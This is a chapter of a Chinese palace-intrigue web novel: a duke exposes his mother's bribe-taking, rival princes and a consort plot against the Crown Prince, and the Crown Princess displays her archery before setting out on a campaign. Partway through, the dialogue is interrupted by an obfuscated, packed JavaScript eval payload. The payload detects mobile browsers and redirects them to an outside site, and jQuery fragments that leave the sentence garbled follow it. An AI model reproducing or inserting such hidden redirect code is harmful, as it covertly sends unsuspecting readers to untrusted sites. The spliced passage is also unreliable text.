安国公震惊过后问清楚女儿随太子出征乃是元和帝亲口应允,他就知道女儿身上必有过人之处让帝后都深为嘉许——太子情窦初开,对女儿全心全意,女儿说什么太子就应什么,但帝后不同,不可能坐视太子为女儿“胡闹”。
而后他更为震惊,因为他从太子口中得知他女儿,刚刚十九岁的女儿,居然凭着自家那本功法练出了内息!
他亦是修炼自家内功大半生,年近六十也不过摸到内息的门坎……
紧接着他伸出手腕,亲身体会过女儿那丝微弱但清晰的清凉内息,他一时间不知道该说什么好。
只是望着泰然自若的女儿,以及同样望着女儿满眼爱意的太子,他难得恍惚了一下:女儿有些陌生。再细细端详女儿,他脑子里闪过“神物自晦”四个字。
只会在识货人面前绽放光彩吗?
安国公想到这里不由苦笑:当初选择包庇继妻而让女儿暂且委屈一下,让他错失了女儿的信任。
事已至此,安国公轻叹一声,还是先吃饭吧。精心准备的午饭就摆在正堂,安国公没有再请老夫人过来。
安国公如此拎得清,姜典则没什么好说,于是这顿饭在一派和睦中收场。饭后又略坐了会儿,姜典则和太子打道回宫。
恭送女儿女婿离开,大门关闭,安国公转身就往老夫人的院子去了。
老夫人这会儿正难受,心疼又胸闷:她仗着太子妃孙女捞点好处怎么了?谁家不是如此?她不过提了那么点小要求就碰壁,还是在太子面前碰壁,之后用饭都不叫她,往后她在这府里还怎么立足,怎么在内宅说一不二?!
听陪嫁嬷嬷说国公爷来了,她本想晾一晾儿子,让儿子知道老母亲气恼不想识大体,但转念一想,这回真不搭理儿子,儿子一颗心非得全偏到得志便忘本的孙女那边去!
于是她往后一仰,靠住椅背,才让嬷嬷去把安国公请进门来。
安国公进门先观察母亲的脸色,看出老太太并无大碍,他径自坐下,“母亲,我那媳妇不省心,就让她好生待在府里抄经静一静心。”
老夫人一怔,旋即恼羞成怒,“你是威胁你娘?我要是也不让你省心,就也待在府里抄经静心?!”
安国公只能叹息,他母亲和他继妻其实是一类人,不怪祖母新平公主看不上,他不再委婉,“母亲,我那几个好舅舅许给您多少好处?”
老太太荣辱看儿孙,而不是娘家兄弟,这一点老太太总是明白的。几个舅舅能说动老太太恶心为难做了太子妃的女儿,只能是金银开道,因为府里的财权在祖母过世后就都捏在他手里。
安国公就问,“五万?十万?”
确实许了十万两。
老太太头皮都有些发麻,儿子不好糊弄,而且语气越发不对……
她嗫嚅片刻才道,“清恒大婚前惹出多少事情来,你媳妇还有清泰……女孩子太年轻不懂事,她仗着身份和宠爱如此猖狂,总不是好事。”
安国公眯了眯眼,“这是我媳妇,还是我舅妈说给您听的?”顿了顿他又问,“这话您信吗?”
老太太低下头,不吭声了。
安国公站起身来,“母亲多休养,过阵子儿子便请大伯母来府上坐镇。”
他的大伯母正是姜家宗妇。
老太太也跟着起身,因为动作过猛地头晕目眩,直接软倒在身后的贵妃榻上——她这辈子只怕三个人,去了的太婆婆新平公主,她儿子安国公,排第三的就是一丝不苟的全乎人,她的宗妇大嫂子。
安国公脚步不停,走出门去,顺便带走了深得老太太信任的一个陪嫁嬷嬷。
这嬷嬷来到安国公内书房,毫不犹豫地说清整件事:安国公大舅妈在太子太子妃大婚后找上门来,想为自家的孙女求个太子侧妃,事成至少孝敬老太太十万两;若是能在太子面前提一提那个孙女,也会奉上两万两。另外,自家孙儿能在太子跟前捞个差事,不拘品级,同样是十万现银。
说完,这嬷嬷直接跪下,求安国公好生管一管,因为这些日子老太太娘家人轮番上阵,劝说老太太孙女做了太子妃,还有什么可怕的,事成都有好处,不成也没什么大不了,太子妃几句话不就能安抚好好太子?太子妃必须指望娘家,哪能让娘家没脸……
老太太果然是见钱眼开。
安国公揉了揉太阳穴,他的母家和妻族一直称得上老实本分,会为自家谋取点好处,但从不过分,这次在大婚前后这么跳,必然背后有人许给他们大好处……
只是他暂时不清楚背后人是冲他,还是冲太子来的,又或者兼而有之。
打发掉陪嫁嬷嬷,安国公便展开信笺,给女儿写起信来。
却说姜典则跟太子回到东宫端敬殿,换完衣裳,对坐喝茶之际,才主动说道,“我母亲时常脑子一热,就无事生非,又损人不利己。老太太不一样,总体相安无事,但会无利不起早。不过她俩都很爱财,一个都扣在自己手里,一个酷爱贴补娘家,因此曾祖母和父亲把家里银钱看得紧……”
太子相当敏锐,“应该都是冲着我来的。朝上牵一发而动全身,就先从后宅动一动心思。”他顺势搂住姜典则的腰身,“我那两个哥哥不会死心的,毕竟我爹当年也不是祖父属意的儿子。”
“你觉得是老三老四在使坏?哦,不对,这手法看着更像是他俩的亲娘在使坏。”
太子笑了,“咱们俩又心有灵犀了。”
“我祖母娘家人八成觉得做不成太子侧妃,做个皇子侧妃也不错。”
“父皇登基后善待叔伯们留下的孤儿寡女,这么看来,夺嫡不成侧妃未必受牵连,赢了全家鸡犬飞升。”太子柔声道,“回头我派人多盯着点儿,等咱俩离京,我就让他们向我娘回报。”
太子其实也是个耀祖,但比姜清泰可爱太多了。
姜典则绷不住笑了,“谢谢殿下。”
太子本想说“你我之间不必言谢”,看对上他媳妇晶晶亮的大眼睛,立即改口,“你怎么谢我?不让我亲亲我是不依的。”后面那句纯粹模仿他媳妇的语气。
姜典则咯咯直笑,“好的,我的学人精殿下。”
而与此同时的咸福宫也是一派和气。
四皇子就坐在怡嫔手边,笑着点评,“安国公府老夫人真是个信人。”又看向身边的唐诗丽,“银子都还没给,事儿已经办了。”
这几天和三皇子无比顺畅,唐诗丽舒坦了不少,此刻也有心情凑趣,“据说新平公主健在的时候,把安国公府那婆媳看得很紧,新平公主去了,安国公管得更严,许个几万两老夫人居然愿意往太子身边塞人……眼皮子也忒浅。”
怡嫔点了点头,“安国公是个人物,可在安国公成长起来之前,安国公府全靠新平公主苦苦支撑。那会儿就是新平公主舍得下脸,也聘不到好人家的好姑娘。”
她有个二品亲爹,一品祖父,自然有底气说安国公婆媳俩不是好人家的好姑娘。
四皇子闻言,与唐诗丽相视默契一笑。
怡嫔也觉得唐诗丽越发顺眼,有能耐又乖巧,若是接下来一半年仍旧如此,就让儿子跟她生个孩子,再给她请封,不怕她不死心塌地。
“横竖试出了安国公府老夫人的成色,咱们也不着急,等安国公离京再说。”不忘嘱咐儿子,“你父皇动兵,太子挂帅,咱们看着就好。常在河边走,总是要湿鞋的。这次听说北面来的是个狠角儿。”
四皇子笑着应下,“儿子省得。”
提到太子挂帅,唐诗丽一时失神:上辈子这边秋天也是太子挂帅出征,大胜凯旋,太子却断断续续养了半年的病,等病愈就变得跟以前很不一样……她上辈子嫁的是姜清泰,这阵子正跟姜清泰几个外室斗得不可开交,太子身上究竟发生了什么,她一概不知。
好比书到用时方恨少,她好后悔上辈子脑子里多是情情爱爱,等明白“大丈夫不可一日无权,大女子亦是”这番道理后悔都来不及。
四皇子发现唐诗丽双眼迷茫,他轻轻拍了拍唐诗丽的手背,“怎么了?”
唐诗丽轻轻吸气,小声嘀咕,“太子若是受伤……就有意思了。”
娇花一样的容颜,四皇子一时心软,居然实话实说,“谁不想呢。可是太子头回
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803703|173526||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
带兵出征,父皇爱护得紧……咱们来日方长。”
爱护得再紧,太子还是伤了,唐诗丽乖巧地含笑点头。
眼见儿子与唐诗丽言笑晏晏,怡嫔默默喝了半杯茶,才再次开口,“婚事将近,你那个媳妇也快回来了,到时候你去迎一迎她。”又嘱咐唐诗丽,“内宅之事你也上点心。纵然正妃到了,你也是不一样的那个。”
唐诗丽低下头,按住心中涌起的恨意,屈膝应是,“我省得。”
第二天,姜典则从坤宁宫回来,就收到了安国公写给她的信。匆匆看完,就放在了一边,等太子中午回来吃饭,她拿出这封信跟太子“雅俗共赏”。
太子并不生气,“我的侧妃位子只值十万两?不过老太太居然不收银子先办事?这么……实诚啊。”
姜典则笑道:“我爹这都算自曝家丑了,就是让你千万别高估我祖母和母亲的头脑。有道是坏人绞尽脑汁,不如蠢人灵机一动。”
太子又乐了,“我想想,要不咱们不在京城的时候就被让她们出门了?”
姜典则直接比了个大拇指,“我爹估计也是这么想的,咱们双管齐下。”
她可不想让三皇子四皇子趁机从那对婆媳以及姜清泰身上拿到什么把柄……炮制点针对帝后的咒语和压胜,哪怕帝后不信,终究是个麻烦。
太子的执行力毋庸置疑,吃完饭就叫了专门处理“杂务”的少詹事前来。
仔细嘱咐一番,少詹事领命而去。
之后二人又腻乎了会儿,太子起身更衣,准备前往南面的端本宫议事,临走前他才跟姜典则说,“既然要一同出征,爹说最好练一练骑术,咱俩一起练。”
姜典则晃着太子的手,“哪天?”
“两天后,就在北面的小校场。”
两天后,姜典则一身戎装,在部分禁军,帝后以及安国公等数位名将面前展示了下骑射功夫:原主在骑射上极有天赋,姜典则稍微加强了一点点,结果就是她的骑术足以去做禁军的夜不收,而射术就更为夸张,十箭连射全中红心。
太子兴奋得耳尖红到透明,第一时间策马凑到姜典则身边,“你究竟还要给我多少惊喜?”
姜典则吸了吸气,“可多着呢。”
高台上的元和帝见儿子儿媳妇又说说笑笑,他也看向手边的安国公,“你这个女儿生得太好了。”
女儿骑射十分出众,安国公多少知道一点,如今眼见为实更为感慨,他也不谦虚了,“新平公主在世时说过好多次,可惜清恒不是男孩。”
谭皇后笑着赞许:“确实是新平公主养得出的好孩子。如此我就彻底放心,放心把太子交给清恒。”又望着元和帝道,“我看也不用说什么练练骑射,清恒都有资格当教习了。”
元和帝欣然回应,“是这样,让小两口自己拿主意。”
接着颇有眼色的众将便先后恭维起安国公,明捧太子妃,暗夸帝后眼光太好。
话说姜典则满分通过帝后的小考验,闲暇时间更多在研究梅老的那本功法:前半部分的确是功法,教人练出并增长内息,后半部分就是内息在医学上的相关应用。
从中找到了些许灵感,她就抓住“下班回家”的太子积极尝试……只是这个穴位配合她的清凉内息,效果堪比连续戳中痒痒肉。
太子就在她面前蜷成虾米,一边笑一边挠,仍有余力反问,“内息居然能这么用?”
“配合针灸止痛,那是固有印象。”姜典则一本正经道,“内息用处可太多了,你要不要试试别的?”
然后她俩一起解锁了全新的玩法。
再然后三皇子四皇子在一个月内大婚,二人正妻都是标准的名门贵女,三皇子妃暂且不说,四皇子妃杨氏对于丈夫有个极为漂亮的侧室,最多就是有点憋屈,面上什么都没表现出来。
总之就是一点乐子都没有。
姜典则也没兴趣看乐子,她收拾完东西就与太子一起乘坐铜辇,离京前往京城的西北咽喉,同时也是西部第一关的新平关——没错,新平公主就是成功镇守此地多达半年,立下大功,从而以此地为封号。